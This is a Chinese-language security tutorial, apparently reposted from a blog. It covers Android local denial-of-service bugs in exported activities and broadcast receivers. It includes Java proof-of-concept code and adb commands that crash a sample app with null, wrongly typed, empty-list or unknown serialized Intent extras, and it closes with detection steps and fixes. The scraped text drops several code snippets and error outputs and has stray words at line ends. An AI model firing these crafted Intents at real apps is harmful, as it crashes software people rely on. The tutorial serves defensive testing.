http://www.javashuo.com/article/p-tvfcjzcg-ct.html
1、前言
本地拒绝服务通常会致使正在运行的应用崩溃,首先影响用户体验,其次影响到后台的Crash统计数据,另外比较严重的后果是应用若是是系统级的软件,可能致使手机重启。html
漏洞触发前提条件:java
getIntent()的intent附带空数据、异常或畸形数据;
处理getXXXExtra()获取的数据时没有进行异常捕获;
android
2、漏洞原理
Android应用使用Intent机制在组件之间传递数据,若是应用在使用getIntent(),getAction,intent.getXXXExtra()获取到空、异常或畸形数据却没有进行异常捕获,应用就会发生Crash,从而拒绝服务。shell
3、漏洞POC
漏洞片断存在的activity的export属性必须为true才可以被外部应用调用攻击。正常状况下,该属性默认为false,若是有intent-filter属性,则其对应activity的export属性默认为true
数组
1)NullPointerException异常致使的拒绝服务,源于程序没有对getAction()等获取到的数据进行空指针判断,从而致使空指针异常而致使应用崩溃。app
漏洞应用代码片断():ide
攻击方式一:java攻击代码以下函数
Intent intent = new Intent(MainActivity.this, TestActivity.class);
startActivity(intent);
执行攻击代码所在activity,点击按钮,漏洞应用程序退出。工具
攻击方式二:adb 执行如下命令测试
能够看到漏洞应用崩溃退出。
报错以下:
同理,静态注册的broadcast若是也存在以上漏洞片断
攻击方式一:java攻击代码以下
Intent in = new Intent();
in.setComponent(new ComponentName("com.example.hello","com.example.hello.test.MyReciever"));//第一个参数是漏洞代码所在的包名,第二个参数是漏洞应用代码全包名
sendBroadcast(in);
方式二:adb检测执行以下命令:
![](https://ewr1.vultrobjects.com/imgur1/000/001/621/189_e0d_3d5.jpg)
2)ClassCastException异常致使的拒绝服务, 源于程序没有对getSerializableExtra()等获取到的数据进行类型判断而进行强制类型转换,从而致使类型转换异常而致使应用崩溃
漏洞应用代码片断
java攻击代码以下:
Intent i = new Intent();
i.setClassName("com.example.hello", "com.example.hello.TestActivity");//第一个参数是漏洞代码所在包名,第二个参数是漏洞应用代码所在全包名
i.putExtra("serializable_key", BigInteger.valueOf(1));
startActivity(i);
运行代码,漏洞应用崩溃,报错结果以下:
3)IndexOutOfBoundsException异常致使的拒绝服务,源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而致使数组访问越界而致使应用崩溃
漏洞应用代码片断
说明,这里,主要变量i小于一个常数,而咱们的攻击代码使之可以越界便可。示例中可以get(0),而咱们接下来的攻击代码则使得数组长度为0,根本没有元素,则会形成越界访问。
java攻击代码
Intent i = new Intent();
i.setClassName("com.example.hello", "com.example.hello.TestActivity");//第一个参数是漏洞代码所在包名,第二个参数为漏洞应用代码所在全包名
ArrayList<Integer> user_id = new ArrayList<Integer>();
i.putExtra("user_id", user_id);//只要让传入的链表长度为0便可
startActivity(i);
运行攻击代码,漏洞应用崩溃。报错以下:
4)ClassNotFoundException异常致使的拒绝服务,源于程序没有没法找到从getSerializableExtra ()获取到的序列化类对象的类定义,所以发生类未定义的异常而致使应用崩溃
漏洞应用代码片断
java攻击代码
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent i = new Intent();
i.setClassName("com.example.hello", "com.example.hello.TestActivity");//第一个参数是攻击代码所在包名,第二个参数是攻击代码全包名
i.putExtra("serializable_key", new SelfSerializableData());//注意这里的key值无需与漏洞应用代码中的key值对应
startActivity(i);
}
<span class="hljs-keyword">static</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SelfSerializableData</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">Serializable</span> </span>{
<span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">long</span> serialVersionUID = <span class="hljs-number">42L</span>;
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">SelfSerializableData</span><span class="hljs-params">()</span> </span>{
<span class="hljs-keyword">super</span>();
}
}</pre>
由于咱们攻击代码中携带了SelfSerializableData类型的对象,而这个类在漏洞应用中是没有的,所以在漏洞应用代码中解析的时候,会报错。
运行攻击代码,漏洞应用崩溃,结果以下:
把咱们的攻击代码写入MainActivity,生成poc.apk,包名为com.example.poc,而后运行以下adb命令也能够进行攻击
adb shell am start -n com.example.poc/.MainActivity -e com.example.hello -e com.example.hello.TestActivity
此时漏洞应用一样崩溃并报错。
四 漏洞检测
知道拒绝服务漏洞的原理以后,咱们来看看怎么检测该漏洞以及其对应的难点。
一、首先咱们要检测导出的组件有哪些(包含intent-filter属性的组件默认导出)
二、而后咱们使用空intent去检测这些组件,针对不一样组件可发送以下命令:
adb shell am start -n com.example.hello/.TestActivity
adb shell am startservice -n com.example.hello/.TestService
adb shell am broadcast -n com.example.hello/.TestReceiver
三、解析key值,空intent致使的拒绝服务只是一部分,还有类型转换异常,数组越界等,这些咱们都须要找到其关键函数,检测其是否有异常保护。自动化测试工具在这里的难点是找到关键函数的key值,action值,以及key对应的类型等来组装命令进行攻击。
四、通用型拒绝服务是因为应用中使用了getSerializableExtra()的API却没有进行异常保护,攻击者能够传入序列化数据,致使应用本地拒绝服务。此时无论传入的key值是否相同,都会抛出类未定义异常,相比前面须要解析key,自动化测试的通用性提升不少。
针对这个经常使用的手工检测POC代码以下:
五 修复建议
一、将没必要要导出的组件export属性设为false
二、在处理intent数据时捕获异常。
参考连接:
http://www.droidsec.cn/android-broadcast-security/